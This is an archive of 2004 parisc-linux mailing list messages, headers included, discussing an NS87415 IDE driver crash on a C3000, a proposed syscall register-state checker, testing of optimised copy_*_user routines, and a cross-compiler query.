Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22009

On Fri, Sep 17, 2004 at 12:50:15AM +0200, Bartlomiej Zolnierkiewicz wrote:
> I don't think ide-probe.c changes are the cause of HPMC.
> 
> probe_hwif_init() is only called after PCI device is fully setup,
> see ide_setup_pci_device().

Sorry - you are right. I overlooked the first line of:
void ide_setup_pci_device (struct pci_dev *dev, ide_pci_device_t *d)
{
        ata_index_t index_list = do_ide_setup_pci_device(dev, d, 1);
...

and only saw the probe_hwif_init() calls that follow.
*sigh*.

> ide_setup_pci_controller()
> 	-> ide_pci_enable()
> 		-> pci_enable_device()
> 
> and ide_setup_pci_controller() is called at the beginning
> of ide_setup_pci_device() before ->init_chipset()

Yes - I tracked the pci_enabled_device back to ide_setup_pci_controller().
But I just realized I had another brainfart: ide_setup_pci_controller()
is not ide_setup_pci_device(). I should stop coding late at night...

> Ideally this should be done by host drivers
> but moving this out of setup-pci.c is non-trivial.

Yes - I reached the same conclusion.

> > Anyway, ns87415 driver has more problems. The patch below adds
> > "init_chipset" entry point and init_chipset_ns87415() calls
> > pci_enable_device() and pci_set_master() before the probe.
> > And my C3k still HPMCs. My guess is more of the code from
> > init_hwif_ns87415() needs to be moved to init_chipset_ns87415().
> > And possible call some special suckyio init routines.
> > I won't be able to touch this for a few days.
> > Anyone else on parisc-linux ml want to take a whack at this?
...
> Yep, also if they are to stay please move them to ns87415.c
> because using <linux/ide.h> outside drivers/ide is WRONG.

they? superio_ide_init_iops() or something else?
Willy mentioned that as a TODO item and it's on my list.
But I didn't plan on touching that before the HPMC is resolved
or the PCI resource mgt issues are resolved.

thanks for the correction,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <bzolnier@elka.pw.edu.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NS87415 on C3K broken
Date: Fri, 17 Sep 2004 02:43:06 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <200409170243.06449.bzolnier__33826.5252336443$1416623563$gmane$org@elka.pw.edu.pl>
References: <20040916161749.GA17660@colo.lackof.org>
	<200409170050.15042.bzolnier@elka.pw.edu.pl>
	<20040916232531.GB24048@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623563 11120 80.91.229.3 (22 Nov 2014 02:32:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:43 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29998 invoked by uid 65534); 17 Sep 2004 00:46:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 17 Sep 2004 02:46:12 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 39F743BE58; Thu, 16 Sep 2004 18:45:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30019-01; Thu, 16 Sep 2004 18:45:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 728BD3BE56; Thu, 16 Sep 2004 18:45:35 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B2C73BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 18:45:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29387-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 18:45:28 -0600 (MDT)
Original-Received: from higgs.elka.pw.edu.pl (higgs.elka.pw.edu.pl [194.29.160.5])
	by free.linux.hp.com (Postfix) with ESMTP id ECED73BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Sep 2004 18:45:27 -0600 (MDT)
Original-Received: from hadron.elka.pw.edu.pl ([194.29.160.13]:36361 "EHLO localhost")
	by higgs.elka.pw.edu.pl with ESMTP id S28439AbUIQAp0 (ORCPT
	<rfc822;parisc-linux@lists.parisc-linux.org>);
	Fri, 17 Sep 2004 02:45:26 +0200
Original-Received: from higgs.elka.pw.edu.pl ([194.29.160.5])
	by localhost (hadron [194.29.160.13]) (amavisd-new, port 251) with ESMTP
	id 19486-01-19; Fri, 17 Sep 2004 02:45:18 +0200 (CEST)
Original-Received: from mion.elka.pw.edu.pl ([194.29.160.35]:40918 "EHLO
	mion.elka.pw.edu.pl") by higgs.elka.pw.edu.pl with ESMTP
	id S27319AbUIQAlt (ORCPT <rfc822;grundler@parisc-linux.org>
	+ 2 others); Fri, 17 Sep 2004 02:41:49 +0200
Original-Received: from chello062179083169.chello.pl ([62.179.83.169]:61719 "EHLO
	[192.168.123.164]" ident: "NO-IDENT-SERVICE[2]" smtp-auth: "bzolnier"
	TLS-CIPHER: <none> TLS-PEER-CN1: <none>) by mion.elka.pw.edu.pl
	with ESMTP id S52493AbUIQAls (ORCPT
	<rfc822;linux-ide@vger.kernel.org> + 2 others);
	Fri, 17 Sep 2004 02:41:48 +0200
User-Agent: KMail/1.6.2
In-Reply-To: <20040916232531.GB24048@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by AmaVisD-new at elka.pw.edu.pl
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22010

On Friday 17 September 2004 01:25, Grant Grundler wrote:
> > ide_setup_pci_controller()
> > 	-> ide_pci_enable()
> > 		-> pci_enable_device()
> > 
> > and ide_setup_pci_controller() is called at the beginning
> > of ide_setup_pci_device() before ->init_chipset()
> 
> Yes - I tracked the pci_enabled_device back to ide_setup_pci_controller().
> But I just realized I had another brainfart: ide_setup_pci_controller()
> is not ide_setup_pci_device(). I should stop coding late at night...

Heh.

> > > Anyway, ns87415 driver has more problems. The patch below adds
> > > "init_chipset" entry point and init_chipset_ns87415() calls
> > > pci_enable_device() and pci_set_master() before the probe.
> > > And my C3k still HPMCs. My guess is more of the code from
> > > init_hwif_ns87415() needs to be moved to init_chipset_ns87415().
> > > And possible call some special suckyio init routines.
> > > I won't be able to touch this for a few days.
> > > Anyone else on parisc-linux ml want to take a whack at this?
> ...
> > Yep, also if they are to stay please move them to ns87415.c
> > because using <linux/ide.h> outside drivers/ide is WRONG.
> 
> they? superio_ide_init_iops() or something else?

They.

> Willy mentioned that as a TODO item and it's on my list.
> But I didn't plan on touching that before the HPMC is resolved
> or the PCI resource mgt issues are resolved.

OK, thanks.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anyone want to write a register across syscall
	consistency checker?
Date: Fri, 17 Sep 2004 10:38:48 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20040917143839.GG28936@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623564 11125 80.91.229.3 (22 Nov 2014 02:32:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3354 invoked by uid 65534); 17 Sep 2004 14:39:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 17 Sep 2004 16:39:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5EAC43BC80; Fri, 17 Sep 2004 08:39:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04324-06; Fri, 17 Sep 2004 08:39:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 367263BDFD; Fri, 17 Sep 2004 08:38:57 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2880A3BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 08:38:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04324-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 08:38:51 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id B8B8A3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 08:38:50 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C8Jsu-0003qF-00 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 10:38:48 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22011


pa,

Would someone like to write a program that does the following?


main
        for all syscalls
                setup syscall parameters
                save register state
                call syscall
                compare register state to previous saved
                if different then print difference
        end for
end main

This would be a nice tool :)
It would have caught our previous pic register corruption, and it might
reveal any other problems we might have in our syscall paths. It also
gets you very familiar with Linux syscalls!

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Optimi[zs]e copy_*_user routines
Date: Fri, 17 Sep 2004 08:34:39 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20040917153439.GI28659@tausq.org>
References: <20040910000032.GJ28659@tausq.org>
	<20040916191856.GF28659@tausq.org>
	<20040917144813.GH28936@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623564 11128 80.91.229.3 (22 Nov 2014 02:32:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15802 invoked by uid 65534); 17 Sep 2004 15:35:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 17 Sep 2004 17:35:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6D5873BE37; Fri, 17 Sep 2004 09:34:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05755-04; Fri, 17 Sep 2004 09:34:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6AAE23BE17; Fri, 17 Sep 2004 09:34:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 473863BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 09:34:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04929-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 09:34:36 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 03E233BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 09:34:35 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 2EE76CD2D5; Fri, 17 Sep 2004 08:34:39 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040917144813.GH28936@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22012

> What tests have you run against this?
> I think the original version was pretty stable on my 32-bit UP c3k.
> Included kernel compiles and some lws tests.

i've done kernel compiles at various -j levels, and run some lmbench
benchmarks. 

as you know, there's also a memcpy testsuite that verified the main
copying algorithm for various block sizes and alignments.

i also have a small test program that is able to exercise the 
exception cases in the code, so i've tested the various load/store 
exception cases in the two functions (pa_memcpy and copy_dstaligned).

currently, the exception test program is a bit indirect (it requires a
lot of manual work). i have an idea for a better automated testsuite
which still needs to be implemented.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Optimi[zs]e copy_*_user routines
Date: Fri, 17 Sep 2004 12:23:30 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20040917162329.GU28936@baldric.uwo.ca>
References: <20040910000032.GJ28659@tausq.org>
	<20040916191856.GF28659@tausq.org>
	<20040917144813.GH28936@baldric.uwo.ca>
	<20040917153439.GI28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623564 11133 80.91.229.3 (22 Nov 2014 02:32:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2390 invoked by uid 65534); 17 Sep 2004 16:24:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 17 Sep 2004 18:24:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BDB1B3BDFD; Fri, 17 Sep 2004 10:23:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05856-05; Fri, 17 Sep 2004 10:23:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C01753BE12; Fri, 17 Sep 2004 10:23:40 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C994B3BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 10:23:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05856-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 10:23:35 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 5DFDC3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 10:23:35 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C8LWE-0004DU-00; Fri, 17 Sep 2004 12:23:30 -0400
Content-Disposition: inline
In-Reply-To: <20040917153439.GI28659@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22013

Randolph,

> i've done kernel compiles at various -j levels, and run some lmbench
> benchmarks. 

Good.

> as you know, there's also a memcpy testsuite that verified the main
> copying algorithm for various block sizes and alignments.

Yup. I ran those first.

> i also have a small test program that is able to exercise the 
> exception cases in the code, so i've tested the various load/store 
> exception cases in the two functions (pa_memcpy and copy_dstaligned).

Cool, that's the most important cases to test. My lws testcase exercises
teh exception code, but obviously not the exception cases in pa_memcpy
and copy_dstaligned.

> currently, the exception test program is a bit indirect (it requires a
> lot of manual work). i have an idea for a better automated testsuite
> which still needs to be implemented.

Kernel module? :)

If you did it in C it could be used for a lot of arches.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i386 cross-compiler for hppa/hppa64 ?
Date: Fri, 17 Sep 2004 19:36:11 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <200409171936.11573.deller@gmx.de>
References: <200409152113.57033.deller@gmx.de>
	<20040916143812.GB28936@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623564 11135 80.91.229.3 (22 Nov 2014 02:32:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27243 invoked by uid 65534); 17 Sep 2004 17:37:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 17 Sep 2004 19:37:27 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AD0943BDC9; Fri, 17 Sep 2004 11:37:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06693-10; Fri, 17 Sep 2004 11:37:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 594B03BE3A; Fri, 17 Sep 2004 11:36:22 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 927F43BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 11:36:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06696-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 11:36:16 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id B489C3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Sep 2004 11:36:15 -0600 (MDT)
Original-Received: (qmail 31733 invoked by uid 65534); 17 Sep 2004 17:36:14 -0000
Original-Received: from pD9FE70A0.dip.t-dialin.net (EHLO p100) (217.254.112.160)
	by mail.gmx.net (mp019) with SMTP; 17 Sep 2004 19:36:14 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.7
In-Reply-To: <20040916143812.GB28936@baldric.uwo.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22014

Hi all,

On Thursday 16 September 2004 16:38, Carlos O'Donell wrote:
> > The cross-compiler section on the parisc homepage at http://parisc-linux.org/software/index.html#xcs links to 
> > http://ftp.parisc-linux.org/x86-xcompilers/   and  
> > ESIEE Team's download page at http://www.pateam.org/download.html#deb
> 
> If you have time...
> http://www.parisc-linux.org/toolchain/PARISC-Linux-XC-HOWTO.html

